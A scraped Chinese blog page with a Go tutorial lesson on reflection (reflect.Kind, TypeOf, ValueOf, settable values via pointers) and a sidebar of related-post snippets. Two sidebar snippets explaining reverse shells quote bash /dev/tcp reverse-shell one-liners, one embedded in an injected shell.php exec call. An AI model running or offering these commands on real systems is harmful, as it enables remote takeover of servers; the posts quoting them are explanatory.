《快学 Go 语言》第 14 课 —— 反射

ARM和FPGA之间的通信(硬件原理图篇) 设计该开发板的初衷是为了学习,但也希望今后能扩展其功能,看到大家都在diy示波器,自己也非常冲动的想DIY一把,于是呼选了arm+fpga的方案,fpga主要用来实现数据的高速采样,而ARM则提供数据的显示,以及一些人机交互的功能。那么该方案中最重要的地方就是ARM和FPGA之间的通信如何实现了。在网上查了很多的资料,有说将FPGA作为ARM的一个外设,可以通过DMA的方式来直接访问;也有说把FP 阅读详情

反射是 Go 语言学习的一个难点,但也是非常重要的一个知识点。反射是洞悉 Go 语言类型系统设计的法宝,Go 语言的 ORM 库离不开它,Go 语言的 json 序列化库离不开它,Go 语言的运行时更是离不开它。笔者在学习反射功能的时候也是费了好大一番功夫才敢说自己确实搞懂了。下面请读者跟着我的步伐来一步一步深入理解反射功能。

反射的目标

反射的目标之一是获取变量的类型信息,例如这个类型的名称、占用字节数、所有的方法列表、所有的内部字段结构、它的底层存储类型等等。

反射的目标之二是动态的修改变量内部字段值。比如 json 的反序列化,你有的是对象内部字段的名称和相应的值,你需要把这些字段的值循环填充到对象相应的字段里。

reflect.Kind

reflect 包定义了十几种内置的「元类型」,每一种元类型都有一个整数编号,这个编号使用 reflect.Kind 类型表示。不同的结构体是不同的类型,但是它们都是同一个元类型 Struct。包含不同子元素的切片也是不同的类型,但是它们都会同一个元类型 Slice。

type Kind uint

const (
    Invalid Kind = iota // 不存在的无效类型
    Bool
    Int
    Int8
    Int16
    Int32
    Int64
    Uint
    Uint8
    Uint16
    Uint32
    Uint64
    Uintptr // 指针的整数类型,对指针进行整数运算时使用
    Float32
    Float64
    Complex64
    Complex128
    Array // 数组类型
    Chan // 通道类型
    Func  // 函数类型
    Interface  // 接口类型
    Map // 字典类型
    Ptr // 指针类型
    Slice // 切片类型
    String // 字符串类型
    Struct // 结构体类型
    UnsafePointer // unsafe.Pointer 类型
)

反射的基础代码

reflect 包提供了两个基础反射方法,分别是 TypeOf() 和 ValueOf() 方法,分别用于获取变量的类型和值,定义如下

func TypeOf(v interface{}) Type
func ValueOf(v interface{}) Value

package main

import "fmt"
import "reflect"

func main() {
    var s int = 42
    fmt.Println(reflect.TypeOf(s))
    fmt.Println(reflect.ValueOf(s))
}

--------
int
42

640?wx_fmt=png
图片

TypeOf() 方法返回变量的类型信息得到的是一个类型为 reflect.Type 的变量,ValueOf() 方法返回变量的值信息得到的是一个类型为 reflect.Value 的变量。

reflect.Type

它是一个接口类型,里面定义了非常多的方法用于获取和这个类型相关的一切信息。这个接口的结构体实现隐藏在 reflect 包里,每一种类型都有一个相关的类型结构体来表达它的结构信息。

type Type interface {
  ...
  Method(i int) Method  // 获取挂在类型上的第 i'th 个方法
  ...
  NumMethod() int  // 该类型上总共挂了几个方法
  Name() string // 类型的名称
  PkgPath() string // 所在包的名称
  Size() uintptr // 占用字节数
  String() string // 该类型的字符串形式
  Kind() Kind // 元类型
  ...
  Bits() // 占用多少位
  ChanDir() // 通道的方向
  ...
  Elem() Type // 数组,切片,通道,指针,字典(key)的内部子元素类型
  Field(i int) StructField // 获取结构体的第 i'th 个字段
  ...
  In(i int) Type  // 获取函数第 i'th 个参数类型
  Key() Type // 字典的 key 类型
  Len() int // 数组的长度
  NumIn() int // 函数的参数个数
  NumOut() int // 函数的返回值个数
  Out(i int) Type // 获取函数 第 i'th 个返回值类型
  common() *rtype // 获取类型结构体的共同部分
  uncommon() *uncommonType // 获取类型结构体的不同部分
}

// 基础类型 rtype 实现了 Type 接口
type rtype struct {
  size uintptr // 占用字节数
  ptrdata uintptr
  hash uint32 // 类型的hash值
  ...
  kind uint8 // 元类型
  ...
}

// 切片类型
type sliceType struct {
  rtype
  elem *rtype // 元素类型
}

// 结构体类型
type structType struct {
  rtype
  pkgPath name  // 所在包名
  fields []structField  // 字段列表
}

...

reflect.Value

不同于 reflect.Type 接口,reflect.Value 是结构体类型,一个非常简单的结构体。

type Value struct {
  typ *rtype  // 变量的类型结构体
  ptr unsafe.Pointer // 数据指针
  flag uintptr // 标志位
}

package main

import "reflect"
import "fmt"

func main() {
    type SomeInt int
    var s SomeInt = 42
    var t = reflect.TypeOf(s)
    var v = reflect.ValueOf(s)
 // reflect.ValueOf(s).Type() 等价于 reflect.TypeOf(s)
 fmt.Println(t == v.Type())
    fmt.Println(v.Kind() == reflect.Int) // 元类型
 // 将 Value 还原成原来的变量
 var is = v.Interface()
 fmt.Println(is.(SomeInt))
}

----------
true
true
42

将上面的各种关系整理一下,可以得到下面这张图

640?wx_fmt=png
图片

Value 这个结构体虽然很简单,但是附着在 Value 上的方法非常之多,主要是用来方便用户读写 ptr 字段指向的数据内存。虽然我们也可以通过 unsafe 包来精细操控内存,但是使用过于繁琐,使用 Value 结构体提供的方法会更加简单直接。

 func (v Value) SetLen(n int)  // 修改切片的 len 属性
 func (v Value) SetCap(n int) // 修改切片的 cap 属性
 func (v Value) SetMapIndex(key, val Value) // 修改字典 kv
 func (v Value) Send(x Value) // 向通道发送一个值
 func (v Value) Recv() (x Value, ok bool) // 从通道接受一个值
 // Send 和 Recv 的非阻塞版本
 func (v Value) TryRecv() (x Value, ok bool)
 func (v Value) TrySend(x Value) bool

 // 获取切片、字符串、数组的具体位置的值进行读写
 func (v Value) Index(i int) Value
 // 根据名称获取结构体的内部字段值进行读写
 func (v Value) FieldByName(name string) Value
 // 将接口变量装成数组,一个是类型指针,一个是数据指针
 func (v Value) InterfaceData() [2]uintptr
 // 根据名称获取结构体的方法进行调用
 // Value 结构体的数据指针 ptr 可以指向方法体
 func (v Value) MethodByName(name string) Value
 ...

理解 Go 语言官方的反射三大定律

官方对 Go 语言的反射功能做了一个抽象的描述,总结出了三大定律,分别是

  1. Reflection goes from interface value to reflection object.

  2. Reflection goes from reflection object to interface value.

  3. To modify a reflection object, the value must be settable.

func TypeOf(v interface{}) Type
func ValueOf(v interface{}) Value

func (v Value) Interface() interface{}

值类型的变量是不可以通过反射来修改,因为在反射之前,传参的时候需要将值变量转换成接口变量,值内容会被浅拷贝,反射对象 Value 指向的数据内存地址不是原变量的内存地址,而是拷贝后的内存地址。这意味着如果值类型变量可以通过反射功能来修改,那么修改操作根本不会影响到原变量的值,那就白白修改了。所以 reflect 包就直接禁止了通过反射来修改值类型的变量。我们看个例子

package main

import "reflect"

func main() {
    var s int = 42
    var v = reflect.ValueOf(s)
    v.SetInt(43)
}

---------
panic: reflect: reflect.Value.SetInt using unaddressable value

goroutine 1 [running]:
reflect.flag.mustBeAssignable(0x82)
    /usr/local/go/src/reflect/value.go:234 +0x157
reflect.Value.SetInt(0x107a1a0, 0xc000016098, 0x82, 0x2b)
    /usr/local/go/src/reflect/value.go:1472 +0x2f
main.main()
    /Users/qianwp/go/src/github.com/pyloque/practice/main.go:8 +0xc0
exit status 2

package main

import "fmt"
import "reflect"

func main() {
    var s int = 42
    // 反射指针类型
 var v = reflect.ValueOf(&s)
    // 要拿出指针指向的元素进行修改
 v.Elem().SetInt(43)
    fmt.Println(s)
}

-------
43

结构体也是值类型,也必须通过指针类型来修改。下面我们尝试使用反射来动态修改结构体内部字段的值。

package main

import "fmt"
import "reflect"

type Rect struct {
    Width int
    Height int
}

func SetRectAttr(r *Rect, name string, value int) {
    var v = reflect.ValueOf(r)
    var field = v.Elem().FieldByName(name)
    field.SetInt(int64(value))
}

func main() {
    var r = Rect{50, 100}
    SetRectAttr(&r, "Width", 100)
    SetRectAttr(&r, "Height", 200)
    fmt.Println(r)
}

-----
{100 200}

640?wx_fmt=png

扫一扫二维码,订阅《快学 Go 语言》更多内容

【Godot】【工程】中文字体与多语言(缺字/体积/打包:一次性配置到位) 本文介绍了Godot游戏开发中的中文字体配置与多语言支持方案。主要内容包括:1)中文字体的全局与局部设置;2)使用子集化技术减小字体体积;3)多语言资源管理及翻译系统实现;4)语言切换机制与控件刷新方法;5)字体回退策略优化显示效果;6)打包优化建议。文章提供了从字体导入到多语言实现的完整解决方案,帮助开发者系统性解决中文显示和多语言支持问题,同时优化资源体积和性能表现。配套案例可供学习参考。 阅读详情

相关推荐

PVE(Proxmox VE)添加VMware Esxi并迁移虚拟机

跨平台迁移虚拟机:从VMware虚拟化平台迁移虚拟机到PVE平台。

VEGETA的博客 7719

shell反射

一、介绍 bash反射就是反弹一个交互的shell,类似ssh连接,可以执行命令 二、使用命令 bash-i>&/dev/tcp/10.0.0.1/80800>&1 bash -i 是打开一个交互的bash >& 是将标准错误输出定向到标准输出中。 /dev/tcp/ 是Linux中的一个特殊设备,打开这个文...

weixin_30237719的博客 888

Vivado实战:从零封装AXI-Lite接口的呼吸灯IP核

本文提供了一份详细的Vivado实战指南,手把手教你如何将Verilog编写的呼吸灯模块封装成带AXI-Lite接口的IP核。内容涵盖从创建IP框架、编写核心逻辑、连接AXI总线到在ZYNQ系统中调用并编写C程序进行软硬件协同测试的完整流程,是掌握FPGA软硬件协同设计的关键实践。

weixin_29233333的博客 598

反弹shell原理和实现

当一些框架和代码,不小心让可执行shell命令的函数存在注入漏洞时,会被利用注入漏洞执行一些shell命令。入侵者为了防止漏洞被修复,无法通过正向链接侵入服务器时,会被利用shell反弹原理种马。 首先,侵入者会利用注入参数,创建一个shell.php文件,文件内容如下 通过web访问并执行shell.php文件 exec('bash -i &> /dev/tcp/10.201.61.194/5566 0>&1'); 这条命令的作用是,在服务器建立一个可以与10.201.61.

u012830303的博客 3808

Cadence仿真实战:从零构建高精度带隙基准电压源

本文是一份详细的Cadence仿真实战指南,指导读者从零开始构建高精度带隙基准电压源。文章首先解释了带隙基准电压源稳定输出电压的原理,然后逐步演示了在Cadence Virtuoso环境中如何搭建测试电路、测量关键温度系数、计算并搭建核心电路,并通过参数扫描和迭代调优来驯服温度漂移,最终实现低漂移的基准电压输出。

weixin_29207533的博客 243

散户逆袭神器:用通达信DIY指数发现下一个光伏储能(附龙头股筛选模板)

本文详细介绍了如何利用通达信软件的自定义指数功能,构建个人专属的行业监控工具,以发现类似光伏储能这样的潜力赛道。文章提供了从零开始的指数编制步骤、核心的龙头股筛选模板,以及五个关键的数据校验技巧,帮助散户投资者实现机构级的行业分析与机会挖掘,有效提升投资决策能力。

w3x4y的博客 485

使用gorm查询数据库时reflect: reflect.flag.mustBeAssignable using unaddressable value

使用gorm写了个小的demo, 插入和查询单个数据库都正确显示,在查询all数据是报错了。重点信息:using unaddressable value 错误信息截图

russle的专栏 740

Android WIFI体系:深入解析WifiLock与MulticastLock的底层实现与性能优化

本文深入解析Android WIFI体系中WifiLock与MulticastLock的底层实现机制与性能优化策略。WifiLock通过阻止Wi-Fi休眠提升网络性能,尤其WIFI_MODE_FULL_HIGH_PERF模式可显著降低延迟;MulticastLock则控制组播数据接收,但会增加功耗。文章详细探讨了其与wpa_supplicant、HAL层的交互,并提供高性能场景下的优化实践与功耗平衡方案。

php55的博客 1081

渗透测试--反弹shell(1)

反弹shell(Reverse Shell)是一种计算机安全领域的术语,通常出现在讨论网络安全、渗透测试或黑客攻防技术时。它指的是这样一种情况:攻击者首先在自己的机器上监听某个特定的网络端口,然后通过某种手段(例如利用软件漏洞)在目标系统上执行一段代码,这段代码会让目标系统主动连接回攻击者的机器。一旦建立了这个连接,攻击者就可以通过这个连接对目标系统发送命令并接收其输出,从而达到远程控制目标系统的目的。反弹shell与普通(正向)shell的主要区别在于连接的方向。

weixin_43520214的博客 1586

BUG调试案例一:RK3588+YT8531网络无法PING通调试案例

在使用 RK3588 搭配 YT8531S PHY 芯片进行网络调试时,遇到了“网络无法 Ping 通”的棘手问题。排查了两天,终于找到问题原因。为了避免大家在类似项目中走弯路,也为了加深自己对调试细节的理解,我们特意整理了本次问题的完整排查过程。本篇文章将围绕以下四个方面展开分享: 问题现象&描述 调试过程&分析 问题根源定位 注意事项提醒 举一反三(走两步)

案例文章,高速信号 2336

【Pix4d精品教程】Pix4d空三后处理:点云分类与过滤、DSM精编生成DEM、生成等高线案例详解

本文详细介绍了利用Pix4D软件进行无人机摄影测量后处理的关键步骤,主要包括点云分类与分配、DEM精编生成和等高线绘制三个核心环节。首先通过点云分类区分地面、植被等7种地物类型,然后通过点云分配将地面点云归并到Ground类别,剔除植被等干扰要素。随后重新运行DSM生成步骤获取精确DEM,最后在附加输出中设置参数生成标准等高线。文中配有详细的操作截图和注意事项,如处理前需备份原始DSM/DOM数据,并解释了DEM与DSM的本质区别。该教程为无人机摄影测量内业处理提供了完整的解决方案。

智慧空间实验室 1万+

网络安全-反弹shell详解(攻击,检测与防御)

1.1 什么是 Shell?Shell 在计算机系统中指的是一个用户界面,用于访问操作系统的服务。在网络安全中,攻击者常利用 Shell 来控制受害者的系统。1.2 反弹 Shell 的工作原理反弹 Shell 的基本原理是:攻击者在其自己的机器上设置监听端口,然后诱使受害者的机器执行一个反向连接的 Shell 命令,连接回攻击者的机器。这样,攻击者就能通过这个反向连接执行命令,控制受害者的计算机。

2401_84466336的博客 9930

手把手教你学simulink实例--基于Simulink的航空发动机控制系统设计与仿真

航空发动机是飞机的核心动力装置,其性能直接影响飞行器的安全性、经济性和可靠性。现代航空发动机控制系统需要具备高精度、快速响应和强鲁棒性的特点,以适应复杂的飞行环境和任务需求。本项目旨在使用MATLAB/Simulink平台,设计并实现一种适用于涡扇发动机的闭环控制系统,通过调节燃油流量、压气机叶片角度等控制变量,确保发动机在不同工况下稳定运行,并满足推力需求。

MHD0815的博客 277

【Go语言快速上手(六)】管道, 网络编程,反射,用法讲解

本篇文章讲解了GO语言中关于管道,网络编程,反射的概念以及他们的用法demo示例,旨在快速让大家熟悉GO语言的语法

杭电码农-NEO的博客 3684

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

Go语言基础之反射

文章目录Go语言基础之反射变量的内在机制反射介绍reflect包TypeOftype name和type kindValueOf通过反射获取值通过反射设置变量的值isNil()和isValid()isNil()isValid()举个例子结构体反射与结构体相关的方法StructField类型结构体反射示例反射是把双刃剑 Go语言基础之反射 本文介绍了Go语言反射的意义和基本使用。 变量的内在机制 G...

Allen 1万+

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

Go语言 反射

Go语言 反射

代码改变世界 1076

Golang中的反射

反射在我们的编码中可能不太常用到,但是其实很多内部方法都应用了反射技术,例如str := `{"name":"张三", "age":15}`反射是指在程序运行期对程序本身进行访问和修改的能力。程序在编译时,变量被转换为内存地址,变量名不会被编译器写入到可执行部分。在运行程序时,程序无法获取自身的信息。支持反射的语言可以在程序编译期将变量的反射信息,如字段名称、类型信息、结构体信息等整合到可执行文件中,并给程序提供接口访问反射信息,这样就可以在程序运行期获取类型的反射信息,并且有能力修改它们。

weixin_72525373的博客 1073

Go语言反射

Go语言反射

YIYIYI 1237

14-Go语言之反射

程序运行的时候动态的获取变量值或者类型。两个函数 和 反射是指在程序运行期对程序本身进行访问和修改的能力。程序在编译时,变量被转换为内存地址,变量名不会被编译器写入到可执行部分。在运行程序时,程序无法获取自身的信息。支持反射的语言可以在程序编译期将变量的反射信息,如字段名称、类型信息、结构体信息等整合到可执行文件中,并给程序提供接口访问反射信息,这样就可以在程序运行期获取类型的反射信息,并且有能力修改它们。Go程序在运行期使用reflect包访问程序的反射信息。在上一篇博客中我们介绍了空接口。 空接口可以存

weixin_38753143的博客 155

go语言之反射

1、定义 反射:指在程序运行期间对程序本身进行访问和修改的能力。程序在编译时,变量被转换为内存地址,变量名不会被编译器写入到可执行部分。在程序运行时无法获取自身信息。 1.1reflect包 在go语言的反射机制中,任何接口值都是由一个`具体类型`和`具体类型的值`两部分组成。在Go语言中反射的相关功能由内置的reflect包提供,任意接口值在反射中都可以理解为由reflect.Type和reflect.Value两部分组成,并且reflect包提供了reflect.TypeOf和reflect.Va

weixin_44961320的博客 827

Golang语言基础之反射

Go语言中的变量是分为两部分的: 类型信息:预先定义好的元信息。 值信息:程序运行过程中可动态变化的。 反射概念 反射是指在程序运行期对程序本身进行访问和修改的能力。程序在编译时,变量被转换为内存地址,变量名不会被编译器写入到可执行部分。在运行程序时,程序无法获取自身的信息。 支持反射的语言可以在程序编译期将变量的反射信息,如字段名称、类型信息、结构体信息等整合到可执行文件中,并给程序提供接口...

假正经Leo先生 557

go语言标准库之——反射reflect

reflect包提供了reflect.TypeOf和reflect.ValueOf两个函数来获取任意对象的Value和Type。基于反射的代码是极其脆弱的,反射中的类型错误会在真正运行的时候才会引发panic,那很可能是在代码写完的很长时间之后。大量使用反射的代码通常难以理解。反射的性能低下,基于反射实现的代码通常比正常代码运行速度慢一到两个数量级。

General_zy的博客 2349

go 反射

用于检查接口、切片、映射、指针和通道等是否为 nil。只在引用语义类型上有效。用于检查反射值是否有效。适用于所有类型,检查是否由合理的 reflect.ValueOf() 生成。在Go语言项目中,反射可以在特定情况下提供灵活性和简洁性。以下是一些,适合使用反射:1. 序列化和反序列化反射广泛用于实现数据的序列化和反序列化,比如将结构体转换为 JSON 或从 JSON 转换为结构体。通过反射,可以遍历结构体的字段并动态处理它们。

gopher9511的博客 1214

14.Go语言基础之反射

反射是指在程序运行期间对程序本身进行访问和修改的能力。程序在编译时,变量被转换为内存地址,变量名不会被编译器写入到可执行部分。在运行程序时,程序无法获取自身的信息。支持反射的语言可以在程序编译期间将变量的反射信息,如字段名称、类型信息、结构体信息等整合到可执行文件中,并给程序提供接口访问反射信息,这样就可以在程序运行期间获取类型的反射信息,并且有能力修改它们。Go程序在运行期间使用reflect包访问程序的反射信息。在上一篇博客中我们介绍了空接口。

鹿晓鹏的博客 164

非零基础自学Golang 第14章 反射 14.1 反射定义

非零基础自学Golang 第14章 反射 14.1 反射定义

代码改变世界 703
上一篇: 阿里程序员带你全面深入了解正则表达式
下一篇: 为什么在太空飞船里计算机性能都特别低?
码洞
博客等级 码龄10年 41粉丝 137原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值